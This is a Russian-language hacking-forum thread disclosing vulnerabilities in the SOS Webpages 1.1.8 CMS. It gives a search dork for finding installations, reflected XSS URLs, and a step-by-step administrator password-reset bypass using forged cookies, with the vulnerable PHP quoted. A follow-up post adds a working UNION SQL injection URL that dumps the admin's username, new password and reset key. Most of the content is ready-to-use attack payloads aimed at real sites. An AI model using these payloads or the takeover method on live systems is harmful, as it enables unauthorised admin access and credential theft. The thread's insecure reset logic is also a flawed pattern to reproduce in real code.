Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Уязвимости SOS Webpages (https://forum.antichat.xyz/showthread.php?t=178837)

nikp 14.02.2010 17:31

Уязвимости SOS Webpages
 
SOS Webpages v1.1.8
http://sourceforge.net/projects/soswebpages/

Easy to learn website management system for novices wanting to manage site content.
Simple content management system for non-profit organizations, small businesses, professional offices,
small churches. Linux, Apache, PHP, MySQL for CMS.

dork "Powered by SOS Webpages"
--------------------
pXSS
http://localhost/soswp_1.1.8/admin/login.php?error=user&uri=admin_edit_page.php?pages _id=1>"><script>alert(121212);</script>
http://localhost/soswp_1.1.8/admin/login.php?sitelink=true&uri=1>"><script>alert(1212 12);</script>
--------------------
Сброс пароля администратора

примерная схема работы скриптов forgot password
1 запрашивается e-mail администратора
2 проверяется на соответствие тому, что хранится в базе
3 в куки пишется мыло и соленый хеш этого мыла
4 жмем кнопку Send Reset Link
5 в куках проверяется соответствие мыла и хеша
6 генерится новый пароль, пишется в буфер, пароль и линк для активации отсылается на мыло из кук
7 получаем мылом login, password, reset link
8 заходим по линку, пароль из буфера переписывается на место рабочего пароля администратора.

Слабое место
Пароль отсылается на мыло из кук,
обработка разбита на четыре скрипта.

Смотрим подробнее:
первые два скрипта нам не понадобятся, сами сформируем нужную информацию.

admin/admin_password_reset3.php
PHP код:

/*    admin_password_reset3.php is part of the password recover process. */

include "admin_queries.php";
$admin_email=$_COOKIE["submitted_email"];
$gate=MD5($admin_email "SOSWebpages");
$gateway=$_COOKIE["gate"];

...

if (
$gate==$gateway) {

/*  Make a key and a new password
    Insert the key and the password in the database
    Email the link with the key
    When link is clicked key is checked, password is reset to new password, client sent to login.

    */
// Make a password
$chars "ef3gSThij789ABCDEFkmnpqrstuvwxyz2456GHIJKLMNPQRUVWXYZ";
srand((double)microtime()*1000000);
$i 0;
$pass '' ;

while (
$i <= 4) {
    
$num rand() % 50;
    
$tmp substr($chars$num1);
    
$pass $pass $tmp;
    
$i++;
 }
 
$key=MD5($pass);
 
$link="http://$site_uri/admin/admin_password_reset4.php?key=$key";

 
//insert in the database
$query "UPDATE " $dbprefix "hw_admin SET admin_newpassword='$pass', admin_key='$key' WHERE admin_id=1";
$dbh=mysql_connect($dbhhost,$dbhuser,$dbhpassword) or die ('I cannot connect to the database because: ' mysql_error());
mysql_select_db($dbhdatabasename);
 
mysql_query($query);

// Some data for the message
$mailTo $admin_email;
$mailFrom "website@$site_uri";
$mailFromName "$site_uri";
$mailSubject PASSWORD_RESET;
$mailMessage USERNAME_IS " : $admin_user

PASSWORD_WILL_BE ": $pass

NOTICE_AND_LINK ":

$link

LOGIN_WITH_NEW_AND_CHANGE;

// Send mail
mail($mailTo$mailSubject$mailMessage"From: $mailFromName <$mailFrom>\r\n"); 


admin/admin_password_reset4.php
PHP код:

Require "admin_queries.php";

$key=$_GET["key"];
$dbh=mysql_connect($dbhhost,$dbhuser,$dbhpassword) or die ('I cannot connect to the database because: ' mysql_error());
mysql_select_db($dbhdatabasename);
$query "SELECT admin_key, admin_newpassword, admin_time FROM " $dbprefix "hw_admin WHERE admin_id=1";

$result=mysql_query($query);
$num=mysql_num_rows($result);

$admin_time mysql_result($result,0,"admin_time");
$admin_newpassword=mysql_result($result,0,"admin_newpassword");
$admin_key=mysql_result($result,0,"admin_key");
$admin_password=MD5($admin_newpassword);
$year substr($admin_time,0,4);
$mon  substr($admin_time,5,2);
$day  substr($admin_time,8,2);
$hour substr($admin_time,11,2);
$min  substr($admin_time,14,2);
$sec  substr($admin_time,17,2);
$Presettime=mktime($hour,$min,$sec,$mon,$day,$year);

if (((
time()-$Presettime)<86400) and $admin_key == $key) {
  
$query "UPDATE " $dbprefix "hw_admin SET admin_password='$admin_password' WHERE admin_id=1";
  
mysql_query($query); 

Атака:
http://localhost/soswp_1.1.8/admin/admin_password_reset3.php
cookies:
submitted_email=MyMail@hotmail.com
gate=8de3b517babf6ba49104cc89edf057ee

где gate= md5 от строки MyMail@hotmail.comSOSWebpages
мыло указываем реальное (если нет возможности посмотеть непосредственно $dbprefix ."hw_admin")

получаем письмо вида

Код:

Your username is : admin
Your new password will be: IfutG
You must click the following link or cut an paste it in your browser within 24 hours.  Here is the reset link:
http://localhost/SOSWP_1.1.8/admin/admin_password_reset4.php?key=58e69a383d5d41640d191ef2b6ef7fd6
Use the new password to login. It is HIGHLY recommended that you change your password to something you will remember.

Заходим по линку, вводим логин и новый пароль - мы в админке.

--------------------

nikp 14.02.2010 22:13

SQL
найдено ElteRUS

Видел эту SQL по тексту (рядом аналогичная с event_id) но не нашел вызова.

Вызов найден, по умолчанию Photo Gallery не присутствует в главном меню, нужно его добавить и pages_id должен указывать на этот модуль.

Подтверждаю SQL_inj работает, теперь можно указывать фиктивное мыло, а информацию получать из
http://localhost/SOSWP_1.1.8/index.php?pages_id=6&photo_id=-1+union+select+1,2,3,concat_ws(0x2F,admin_user,adm in_newpassword,admin_key),5,6+from+sos_hw_admin


Время: 13:12